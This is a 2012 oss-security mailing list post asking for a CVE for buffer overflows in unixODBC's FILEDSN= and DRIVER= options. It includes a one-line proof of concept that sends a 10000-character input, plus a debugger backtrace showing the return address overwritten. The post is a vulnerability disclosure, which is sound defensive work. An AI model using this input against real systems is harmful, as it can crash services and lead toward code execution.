Date: Tue, 29 May 2012 09:42:42 -0300 From: Felipe Pena <felipensp@...il.com> To: oss-security@...ts.openwall.com Subject: CVE id request: Multiple buffer overflow in unixODBC Hi, please assign a CVE id for the issue: Multiple buffer overflow in unixODBC =========================== The library unixODBC doesn't check properly the input from FILEDSN=, DRIVER= options in the DSN, which causes buffer overflow when passed to the SQLDriverConnect() function. The unixODBC maintainer has been notified about the issue. Version affected ============ FILEDSN= as of 2.0.10 DRIVER= as of 2.3.1 PoC === $ ./poc "FILEDSN=$(python -c "print 'A'*10000")" Segmentation fault (gdb) bt #0 0x00007ffff7bc8c81 in SQLReadFileDSN (pszFileName=<value optimized out>, pszAppName=<value optimized out>, pszKeyName=<value optimized out>, pszString=<value optimized out>, nString=<value optimized out>, pnString=<value optimized out>) at SQLReadFileDSN.c:207 #1 0x4141414141414141 in ?? () CREDITS ======= This bug was discovered by Felipe Pena. BugSec Team - http://www.bugsec.com.br/
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